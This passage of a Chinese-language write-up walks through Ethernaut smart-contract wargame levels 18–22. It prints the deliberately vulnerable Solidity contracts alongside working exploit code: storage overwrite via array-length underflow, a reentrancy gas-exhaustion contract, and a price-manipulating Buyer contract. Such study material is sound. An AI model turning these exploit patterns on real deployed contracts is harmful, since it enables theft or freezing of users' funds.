具体原理可以看这篇文章:https://paper.seebug.org/661/

await contract.unlocked()
// false

contract.register("0x0000000000000000000000000000000000000000000000000000000000000001",player)
// bytes32(true) === 0x0000000000000000000000000000000000000000000000000000000000000001

await contract.unlocked()
// true

// done


18. Recovery

pragma solidity ^0.4.23;

contract Recovery {

  //generate tokens
  function generateToken(string _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);
  
  }
}

contract SimpleToken {

  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  function() public payable {
    balances[msg.sender] = msg.value*10;
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] -= _amount;
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address _to) public {
    selfdestruct(_to);
  }
}

根据题意,创建者部署了一个 SimpleToken 合约,并发送了 0.5 ether,但丢失了合约地址。

  • 找回丢失的 0.5 ether

比较简单,任何操作都是记录在链上的,所以直接 https://ropsten.etherscan.io 上找到合约记录。

instance
// "0x34edc3e9d0a0cfb849fd8680fdc1ed95187bc5ee"

然后 Remix 上部署 SimpleToken 合约,At Address 填刚刚拿到的 Lost Address

调用自毁函数,将剩余的 ether 发到自己的地址即可。

提交之后,Zeppelin 给出的原理如下:

Contract addresses are deterministic and are calculated by keccack256(address, nonce) where the address is the address of the contract (or ethereum address that created the transaction) and nonce is the number of contracts the spawning contract has created (or the transaction nonce, for regular transactions).
Because of this, one can send ether to a pre-determined address (which has no private key) and later create a contract at that address which recovers the ether. This is a non-intuitive and somewhat secretive way to (dangerously) store ether without holding a private key.
An interesting blog post by Martin Swende details potential use cases of this.
If you're going to implement this technique, make sure you don't miss the nonce, or your funds will be lost forever.

原来题目本身的考点是合约地址可计算。所以这题有两种解法。

第二种解法具体可以看这篇文章:http://www.freebuf.com/articles/blockchain-articles/179662.html

# need install pyethereum module
import rlp
from ethereum import utils

address = 0x34edc3e9d0a0cfb849fd8680fdc1ed95187bc5ee
nonce = 1

rlp_res = rlp.encode([address,nonce])
# print(rlp_res)
sha3_res = utils.mk_contract_address(address,nonce)
# print(sha3_res)
sha3_res_de = utils.decode_addr(sha3_res)
print("contract_address: " + sha3_res_de)
# 086121e542cca0f8d3150b67aa3efc1624c6e2ae


19. MagicNumber

pragma solidity ^0.4.24;

contract MagicNum {

  address public solver;

  constructor() public {}

  function setSolver(address _solver) public {
    solver = _solver;
  }

  /*
    ____________/\\\_______/\\\\\\\\\_____        
     __________/\\\\\_____/\\\///////\\\___       
      ________/\\\/\\\____\///______\//\\\__      
       ______/\\\/\/\\\______________/\\\/___     
        ____/\\\/__\/\\\___________/\\\//_____    
         __/\\\\\\\\\\\\\\\\_____/\\\//________   
          _\///////////\\\//____/\\\/___________  
           ___________\/\\\_____/\\\\\\\\\\\\\\\_ 
            ___________\///_____\///////////////__
  */
}
To solve this level, you only need to provide the Ethernaut with a "Solver", a contract that responds to "whatIsTheMeaningOfLife()" with the right number.
Easy right? Well... there's a catch.
The solver's code needs to be really tiny. Really reaaaaaallly tiny. Like freakin' really really itty-bitty tiny: 10 opcodes at most.
Hint: Perhaps its time to leave the comfort of the Solidity compiler momentarily, and build this one by hand O_o. That's right: Raw EVM bytecode.
Good luck!

Orz 这题是真的不太会,找到一篇 wp 学习了一下

https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

不过里面有一个地方不太对,题目要求回返的是 42,而 wp 作者当 0x42 来做的。

所以 runtime opcodes 应该修改为 602a60805260206080f3

具体解题步骤:

truffle(ropsten)> var account = "your address here";
truffle(ropsten)> var bytecode = "0x600a600c600039600a6000f3602a60805260206080f3";
truffle(ropsten)> web3.eth.sendTransaction({ from: account, data: bytecode }, function(err,res){console.log(res)});
await contract.setSolver("0xccb446cbcd073320dfb8487cfcab02aeeb0aeee6")


20. Alien Codexnew

pragma solidity ^0.4.24;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact(bytes32[] _firstContactMessage) public {
    assert(_firstContactMessage.length > 2**200);
    contact = true;
  }

  function record(bytes32 _content) contacted public {
      codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}
  • 成为合约的 owner

合约开头 import 了 Ownable 合约,同时也引入了一个 owner 变量。

web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)});
// 0x00000000000000000000000073048cec9010e92c298b016966bde1cc47299df5
// bool public contact   0x000000000000000000000000
// address public owner  0x73048cec9010e92c298b016966bde1cc47299df5

由于 EVM 存储优化的关系,在 slot 0 中同时存储了 contactowner,需要做的就是将 owner 变量覆盖为自己。

首先通过 make_contact() 函数,我们可以将 contact 变量设置为 true,这也是调用其他几个函数的前提。

具体来看 make_contact() 函数,需要传入一个长度大于 2**200 的数组。直接在 remix 上部署一个合约来传,会发现 gas 消耗爆炸了。明显这是不太现实的,需要绕过。

由于 make_contact() 函数只验证传入数组的长度。了解到 OPCODE 中数组长度是存储在某个 slot 上的,并且没有对数组长度和数组内的数据做校验。所以可以构造一个存储位上长度很大,但实际上并没有数据的数组,打包成 data 发送。

sig = web3.sha3("make_contact(bytes32[])").slice(0,10)
// "0x1d3d4c0b"
// 函数选择器
data1 = "0000000000000000000000000000000000000000000000000000000000000020"
// 除去函数选择器,数组长度的存储从第 0x20 位开始
data2 = "1000000000000000000000000000000000000000000000000000000000000001"
// 数组的长度
await contract.contact()
// false
contract.sendTransaction({data: sig + data1 + data2});
// 发送交易
await contract.contact()
// true

之后就是一个经典的 OOB (out of boundary) Attack

首先通过调用 retract(),使得 codex 数组长度下溢。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
// codex.length
// 0x0000000000000000000000000000000000000000000000000000000000000000

contract.retract()
// codex.length--

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)});
// codex.length
// 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

还需要了解一些 Solidity 中各种变量的存储方式。
这里推荐知道创宇的一篇文章:https://www.freebuf.com/articles/blockchain-articles/177260.html

可以简单将动态数组内变量的存储位计算方法概括为:
b[X] == SLOAD(keccak256(slot) + X)

在本题中,数组 codex 的 slot 为 1,同时也是存储数组长度的地方。

>>> import sha3
>>> import binascii
>>> def bytes32(i):
>>>     return binascii.unhexlify('%064x'%i)
>>> sha3.keccak_256(bytes32(1)).hexdigest()
'b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6'
>>> 2**256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
35707666377435648211887908874984608119992236509074197713628505308453184860938

可计算出,codex[35707666377435648211887908874984608119992236509074197713628505308453184860938] 对应的存储位就是 slot 0。

之前提到 slot 0 中同时存储了 contactowner,只需将 owner 替换为 player 地址即可。

await contract.owner()
// "0x73048cec9010e92c298b016966bde1cc47299df5"
contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x000000000000000000000001676ca875027fd9a5bdbd4f1f0380d8f34d8e1cdf')
// 调用 revise()
await contract.owner()
// "0x676ca875027fd9a5bdbd4f1f0380d8f34d8e1cdf"
// Submit instance


21. Denial

pragma solidity ^0.4.24;

contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    function() payable {}

    // convenience function
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}
  • If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds) you will win this level.

题目名就叫 Denial,加上合约里一眼就能看见的一个重入,很明显的 denial of service attack。

所以就部署了一个利用重入漏洞的合约,把 gas 消耗光,owner 自然收不到钱了。

就过了。

不过感觉这题放在这里是不是太简单了... 可能是我没有 get 到出题人的点?

pragma solidity ^0.4.23;

contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = 0xA9E;
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance/100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)();
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    function() payable {}

    // convenience function
    function contractBalance() view returns (uint) {
        return address(this).balance;
    }
}

contract Attack{
    address instance_address = 0x55ed4791a74e50bad1faa3760c34adfae69da16f;
    Denial target = Denial(instance_address);
    
    function hack() public {
        target.setWithdrawPartner(address(this));
        target.withdraw();
    }
    
    function () payable public {
        target.withdraw();
    } 
}


22. Shop

pragma solidity 0.4.24;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price.gas(3000)() >= price && !isSold) {
      isSold = true;
      price = _buyer.price.gas(3000)();
    }
  }
}
  • Сan you get the item from the shop for less than the price asked?

按题意,需要修改 price 小于 100。

也就是,两次调用 _buyer.price.gas(3000)(),第一次返回大于等于 100,第二次返回小于 100。

很简单,写个合约,根据 isSold 来判断就好了。

pragma solidity 0.4.24;

contract Shop {
    uint public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price.gas(3000)() >= price && !isSold) {
            isSold = true;
            price = _buyer.price.gas(3000)();
        }
    }
}

contract Buyer {
    address instance_address = instance_address_here;
    Shop target = Shop(instance_address);
    
    function price() external view returns (uint){
        return target.isSold()==true ? 99 : 100;
    }
    
    function attack() public {
        target.buy();
    }
}




References

https://remix.readthedocs.io/en/latest/
http://solidity.readthedocs.io/en/v0.4.23/
https://ethereum.github.io/yellowpaper/paper.pdf
http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/
http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/
https://paper.seebug.org/661/
http://www.freebuf.com/articles/blockchain-articles/179662.html
https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

0 评论

分类目录
赞助二维码

支付宝

评论表情